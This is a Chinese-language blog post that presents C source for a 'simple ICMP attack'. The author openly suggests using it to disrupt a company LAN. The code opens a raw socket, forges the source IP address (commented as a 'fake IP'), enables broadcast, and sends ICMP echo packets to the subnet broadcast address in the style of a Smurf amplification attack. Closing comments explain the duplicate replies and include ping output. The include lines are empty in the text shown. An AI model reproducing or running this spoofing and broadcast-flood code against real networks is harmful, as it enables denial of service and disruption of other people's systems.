简单的icmp攻击

由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

修改了一些,加添了广播,可发给255,我感觉会把局域网弄乱的 呵呵.

#include
#include
#include
#include
#include
#include
#include

unsigned short csum(unsigned short *packet, int packlen);
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen);
unsigned short in_cksum(unsigned short *addr, int len);

//校验和涵数 ip头
unsigned short csum(unsigned short *packet, int packlen) {
register unsigned long sum = 0;
while (packlen > 1) {
sum += *(packet++);
packlen -= 2;
}
if (packlen > 0)
sum += *(unsigned char *) packet;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);

return (unsigned short) ~sum;
}

//校验和涵数 tcp头
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
unsigned short *buf;
unsigned short res;
buf = malloc(packlen + 12);
if (buf == NULL)
return 0;
memcpy(buf, iphdr + 12, 8); //源IP地址和目标IP地址
*(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
*(buf + 5) = htons((unsigned short) packlen);
memcpy(buf + 6, packet, packlen);
res = csum(buf, packlen + 12);
free(buf);
return res;
}

//校验和涵数icmp头
unsigned short in_cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
while (len > 1) {
sum += *addr++;
len -= 2;
}
if (len == 1) {
*((unsigned char *) (&res)) = *((unsigned char *) addr);
sum += res;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
res = ~sum;
return res;
}

int main(int argc, char *argv[]) {
int sock, bytes_send;
struct sockaddr_in sin;


struct ip *iphead;
struct icmp *icmphead;
char *packet;
int pktsize = sizeof(struct ip) + sizeof(struct icmp) + 64;

packet = malloc(pktsize);
iphead = (struct ip *) packet;
icmphead = (struct icmp *) (packet + sizeof(struct ip));

memset(packet, 0, pktsize);

printf("create socket\r\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.0.255"); //被攻击者的ip
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock > 0) {
printf("socket ok\n");
} else {
printf("socket error \n");
}

//IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中，隐藏自己的IP地址
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &pktsize, sizeof(pktsize)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}

const int on = 1;//设定常量，用于打开广播模式
//设定该接口上的广播模式
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}

printf("create iphead\r\n");
iphead->ip_v = 4;
iphead->ip_hl = 5;
iphead->ip_tos = 0x00;
iphead->ip_len = htons(pktsize);
iphead->ip_id = htons(getpid());
iphead->ip_off = 0;
iphead->ip_ttl = 0x0;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
inet_aton("192.168.0.182", &iphead->ip_src);//假冒的ip
inet_aton("192.168.0.255", &iphead->ip_dst);//被攻击者的ip

printf("create icmphead\r\n");
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0;
icmphead->icmp_cksum = htons(~(ICMP_ECHO << 8));

iphead->ip_sum = csum(iphead, sizeof(struct ip));
icmphead->icmp_cksum = in_cksum(icmphead, sizeof(struct icmp));

printf("start send\r\n");

int j;
int i = 1;
while (i > 0) {
sendto(sock, packet, pktsize, 0, (struct sockaddr *) &sin, sizeof(sin));
printf("sending\r\n");
i--;
}
free(packet);
printf("end send\r\n");
return 0;
}
/*
*如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下)，结果会得到非常多的回应，
*如果我们往广播地址发送一个ICMP 以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY，
*如果我们往广播地址发送一个ICMP 如果你想试验，可以在unix的机器上Ping一下你局域网的广播地址，
*如果我们往广播地址发送一个ICMP 会看到很多回应的的dup包，就是重复的应答
*root@test5:/home/malitest/mysocketTest# ping 192.168.0.255 -b
WARNING: pinging broadcast address
PING 192.168.0.255 (192.168.0.255) 56(84) bytes of data.
64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.262 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.13 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.17 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.183 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.200 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.242 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.163 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.178 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=3 ttl=64 time=0.198 ms (DUP!)
*
* windows系统上不会有这样的结果，因为微软的Ping程序不对多个回应进行解包(所以我收不到重复的包了)，收到第一个包以后就丢弃后面的了，
* 同样微软的系统默认也不回应广播地址的包
*
* windows防火墙 高级——>本地连接——>设置——>ICMP
* */